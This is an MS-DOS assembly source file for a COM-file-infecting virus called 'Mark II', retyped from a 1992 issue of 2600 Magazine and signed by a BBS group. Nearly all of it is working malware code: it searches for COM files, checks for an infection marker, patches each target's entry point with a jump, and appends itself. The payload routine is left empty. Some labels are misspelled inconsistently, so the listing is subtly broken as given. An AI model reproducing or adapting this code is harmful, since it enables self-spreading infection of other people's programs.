PAGE,120

;Taken from 2600 Magazine, Spring 1992 ,Vol. 9, No. 1!
;Typing work done by OMEGA/MEGA-Ind. On 31th may 92.
;
;File VIRUS.ASM - This is the launch program for the Mark II virus
;It is to be assembled, linked, and converted to a *.COM file using
;EXE2BIN. When run, it looks within the defined search space for other
;COM files to infect, and infects them. Then it runs its payload module.
;This launch program is structured like an infected file, so it contains
;a "dummy" host program like that which would be in an infected file.
;Control is returned to this dummy host program when this program runs.
;In the infected file, control will be returned to the actual program
;it contains after the payload module of its parasitic virus runs.

_VIRUS SEGMENT
ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS
ORG 100h

;This is the start of the dummy host program. Control is transferred
;here after the virus runs. All it does is terminate the program with
;a normal MS-DOS termination call, after having put out a message
;informing that the program has terminated normally.

;The next instruction is what is actually intended to be
;in the dummy host program. It is the beginning of the code which
;sets up the DOS call to write the termination message on the screen.
;The infected program which would have infected this one would have
;inserted a jump to the beginning of the virus over this, after saving
;what was actually there. When the virus completes, it will restore
;the parts of the mangled original host code, and run the host program.
;
;          mov bx,1
;
;What you see encoded below, using the "db" assembler pseudo-op, is
;the hand encoded jump to the beginning of the virus, installed by the
;program which would have infected this one. As it happens, the jump
;written into the beginning is the same length as the instruction
;(mov bx,1) which was there in the first place. In general, there
;is no guarantee just what will be there, and how long it will be.
;Since the program being infected is a COM program, the only guarantee
;is that the file will begin with some executable instruction. Thus,
;the program getting infected may have part of an executable instruction
;mangled by the inserted jump, or possibly one entire instruction plus
;part of another.
;
;The inserted code begins with "E9", the op-code byte for a jump relative
;to the contents of the IP as it will look after the jump plus displacement
;is fetched. (The IP will contain 103h. COM programs begin at offset
;100h, and the jump plus displacement requires 3 bytes.) The Next two
;bytes are the displacement to the beginning of the virus. The 
;displacement is calculated by the infecting program, as follows:
;
;D = displacement to be added to current IP (=103) to get to virus start.
;D = Uninfected file length
;  -
;  Current IP (=103)
;  +
;  4 bytes storage space for the overwritten first instruction.
;
;  If the uninfected length of the target file is odd, a zero byte
;  will be added at its end before the virus code is attached.
;
;  The virus will thus begin on a word boundary, and NOP's inserted
;  by the assembler to put other things on a word boundary will still
;  perform their intended purpose.

filelength EQU begin-start

start:
  db 0E9h               ;Op-code for jump
  dw filelength+4-3     ;Displacement calculation
  mov cx,lmessage
  mov dx,OFFSET message
  mov ah,40h
  int 21h               ;Put termination message on the screen
  mov ah,4Ch            ;Function number of normal pgm termination
  int 21h               ;Call DOS and terminate.

message:
  db "Launch program has terminated normally.",0Dh,0Ah,0
  lmessage EQU $-message

;This ends the dummy host program. What follows is the actual virus,
;which will be copied into the target file.

  virlength EQU finish-begin+102h   ;Length of virus + PSP + initial stack.

begin:
  db 0bbh,01,00    ;The instruction "mov bx,1" which
                   ;would have been saved here by the
                   ;infected program.
  db 00            ;Make save bin 4 bytes total.

virusbegin:
  ;The beginning of the actual virus code.
  ;Get and save the base address of the virus.
  mov bp,101h         ;Address of LSB of jump displacement
  mov bx,WORDPTR[bp]  ;Get displacement in bx
  add bx,103h         ;Add IP contents after first instruction
                      ;Now bx contains address of "virusbegin:"
  mov bp,100h         ;Beginning of pgm, where original
                      ;instruction will be restored.
  mov dl,[bx-4]
  mov [bp],dl         ;First byte
  mov dl,[bx-3]
  mov [bp+1],dl       ;Second byte
  mov dl,[bx-2]
  mov [bp+2],dl       ;Third byte
  push bx             ;Save the actual start of virus.

;########## STACK POINTER INFO:One word pushed on stack ###########

;********** Beginning of the Infection Module ***************

;First, search for an uninfected candidate file. If one is found,
;infect it before running the payload module. If none is found,
;proceed directly with the payload Module.

;Use function SFIRST (int 21h,fn. 4Eh) to get a candidate file.
  jmp sfirst          ;Jump over wildcard string

wildcard:
  db "*.COM",0        ;Wildcard name for COM files

sfirst:
  mov ah,4Eh          ;Function no. of SFIRST
  pop dx              ;Get base address of virus start
  push dx             ;Restore the stack pointer
  add dx,wildcard-virusbegin  ;Add distance to string.
  mov cx,0            ;Attribute word=seek normal files
  int 21h             ;Call DOS
  jnc over1           ;Found one.
  jmp payload         ;Otherwise, no COM files, do payload.

;Now that a candidate file is found, make sure that when the virus is
;added, it will not be too long to be a COM file. COM file maximum
;length is 64kbytes less 100h bytes for the PSP, less two bytes for the 0
;bytes added on the stack by the operating system on loading.

over1:
  mov bx,80h+1Ah      ;Address in PSP/PCB containing file length.
  mov ax,virlength    ;Length of virus
  add ax,[bx]         ;Will get overflow if file length too big.
  jno checkinfect     ;No overflow, keep going.
  jmp snext           ;This file too big to infect, try another

;A candidate file has been found. Determine if it is infected, or 
;go on to the next one.

checkinfect:

;Open the file.
fileopen:
  mov ah,3Dh          ;Fn. no of OPEN WITH HANDLE
  mov al,02           ;Open for read/write access.
  mov dx,80h+1Eh      ;Location in DTA of file name
  int 21h             ;Call DOS.
  jnc opened          ;Open was successful, continue
  jmp snext           ;Cannot open this file, look for more.

opened:
  push ax             ;Save file handle.

;##########  STACK POINTER INFO: Two words pushed on stack #############

;Open was successful, move the file pointer to the infection marker.
  mov ah,42h          ;Function no. of LSEEK
  mov al,02           ;Measure offset from end of file
  pop bx              ;Get file handle.
  push bx             ;Keep file handle on top of stack
  mov cx,0FFFFh       ;MSB of offset from end.
                      ;Sign extend.
  mov dx,0FFFCh       ;LSB of infection marker.
                      ;File end -4.
 int 21h              ;Call DOS.
 jnc over3            ;No error, continue.
 jmp closefil         ;Error occurred, close this one
                      ;and look again.

;Read the last four bytes.
over3:
  mov ah,3Fh          ;Fn. no of READ
  pop bx              ;Get file handle.
  pop dx              ;Get address of "virusbegin:"
  push dx             ;Restore to stack
  push bx             ;Restore file handle on stack.
  add dx,-4           ;Move pointer back to start of save bin.
  mov cx,4            ;Read 4 bytes
  int 21h             ;Call DOS
  jnc over4           ;No error, keep going.
  jmp closefile       ;Error occurred, close this one, look again.

;Compare the last four bytes with the infection marker.
over4:		    
  pop bx              ;Take file handle off to get to adr.
  pop bp              ;Get address of "virusbegin:"
  push bp             ;Restore buffer address
  push bx             ;Restore file handle.
  mov bh,[bp-4]       ;First byte
  mov bl,[bp-3]       ;Second byte
  xor bx,0001h        ;First half match?
  jnz over5           ;First half doesn't match, continue.

over4a:
  mov bh,[bp-2]       ;Third byte
  mov bl,[bp-1]       ;Fourth byte
  xor bx,0FFE0h       ;Second half match?
  jnz over5           ;No match. Continue.
  jmp closefile       ;Matches marker. Close and try again.

;File is not infected. Proceed to infect.
;Move file pointer to beginning of file.
over5:
  mov ah,42h          ;Fn. no. of LSEEK
  pop bx              ;File handle in bx.
  push bx             ;Keep the stack equalized.
  mov al,00           ;Offset from file beginning.
  mov cx,0            ;Offset = 0
  mov dx,0            ;Offset = 0
  int 21h             ;Call DOS
  jnc over6           ;No error, continue
  jmp closfile        ;Error, try another file.

;Save the first three bytes in the buffer.
over6:
  mov ah,3Fh          ;Fn. no. of READ
  pop bx              ;Get the file handle
  pop dx              ;Beginning of buffer
  push dx             ;Restore the stack
  push bx             ;Restore the stack
  add dx,-4           ;Move pointer to start of save bin.
  mov cx,3            ;Read 3 bytes
  int 21h             ;Call DOS
  mov al,0            ;Zero byte for fourth loc. in save bin.
  add dx,3            ;Reg. dx points to fourth loc in save bin
  mov bp,dx           ;Place in base pointer for index.
  mov [bp],al         ;Write zero byte in fourth loc.

;Move file pointer back to the beginning of the file.
  mov ah,42h          ;Fn. no. of LSEEK
  pop bx              ;File handle in bx.
  push bx             ;Restore the stack
  mov al,00           ;Offset from file beginning
  mov cx,0            ;Zero offset
  mov dx,0            ;Zero offset
  int 21h             ;Call DOS
  jnc past            ;No error, continue
  jmp closefile       ;Error, try another file

;Overwrite the first three bytes with a jump to virus beginning.
tembuf:
  db 0E9h,0,0

past:
  pop bx              ;Get file handle
  pop bp              ;Get actual address of "virusbegin"	
  push bp             ;Equalize stack
  push bx             ;Equalize stack 
  mov si,80h+1Ah      ;Location in DTA of file length
  mov ax,[si]         ;Get target file length in ax
  xchg ah,al          ;Swap halves temporarily
  sahf                ;Lower byte of file length to flag reg.
  xchg ah,al          ;Swap back
  jnc noadd           ;LSB of ax into carry. Jump if c(ax) even.
  add ax,1            ;Else, add one to c(ax) to make result even.

noadd:
  add ax,1            ;Total jump is file length -3+1
  add bp,tempbuf-virusbegin  ; Get address of tempbuf in bp
  mov [bp+1],al       ;First displacement byte
  mov [bp+2],ah       ;Second displacement byte
  mov dx,bp           ;Start of buffer to dx
  mov ah,40h          ;Function no. of WRITE
  mov cx,3            ;Write 3 Bytes
  int 21h             ;Call DOS

;Move the file pointer to the end of the file.
  mov ah,42h          ;Fn. no. of LSEEK
  mov al,02           ;Offset measured from end.
  mov cx,0            ;Zero offset
  mov dx,0            ;Zero offset
  pop bx              ;Get file handle
  push bx             ;Restore the stack
  int 21h             ;Call DOS

;Check target file length. If odd, add a 0 byte at the end.
  mov bp,80h+1Ah      ;Address of lower byte of file length
  mov ax,[bp]         ;Get lower byte in ax for comparison
  and ax,1            ;Get lsb of file length
  jz skip             ;Skip if file length even
  mov ah,40h          ;Fn. no. of WRITE
  pop bx              ;Get file handle
  pop bp              ;Address of "virusbegin"
  push bp             ;Equalize stack
  push bx             ;Equalize stack
  add bp,-1           ;Move pointer just behind saved 3 bytes
  mov dx,bp           ;Location of one byte buffer
  mov cx,1            ;Write one byte
  mov [bp],ch         ;Zero byte to be written
  int 21h             ;Call DOS

;Write the virus onto the end of the target file.
skip:
  mov ah,40h          ;Fn. no. of WRITE
  mov cx,finish-begin ;No. of bytes to be written equals 4 byte
                      ;save bin plus virus executable code.
  pop bx              ;Get file handle
  pop dx              ;Address of "virusbegin"
  push dx             ;Equalized stack
  push bx             ;Equalized stack
  add dx,-4	          ;Include saved first three bytes.
  int 21h             ;Call DOS
  pop bx              ;Get file handle
  mov ah,3Eh          ;Fn. no. of CLOSE
  int 21h             ;Close file for good.
  jmp payload         ;Infection complete. Run the viruspayload.

closefile:
  pop bx              ;Get file handle off stack permanently
  mov ah,3Eh          ;Fn. no. of CLOSE
  int 21h             ;Call DOS

; ########### STACK POINTER INFO:One word pushed on stack ###########

snext:
  mov ah,4Fh          ;Function no. of SNEXT
  int 21h             ;Call DOS
  jc payload          ;If error, just go and do payload.
  jmp fileopen        ;Otherwise, try to infect this one

; *********** End of the Infection Module ************

; ************** Beginning of the Payload Module. **********
payload:
  nop

; ************** End of the Payload Module ************
;Time to finish up. Restore the stack and jump to cs:100h
  pop bp
;############# STACK POINTER INFO:Nothing left on stack ###########
  mov ax,100h
  jmp ax

finish:
  _VIRUS ENDS
 END start

;                 Remember Where You Saw it First
;   -----------> Perfect Crime : +31-(0)-79-426-079 <-------------
;                Typing Work Done by OMEGA/MEGA-Ind.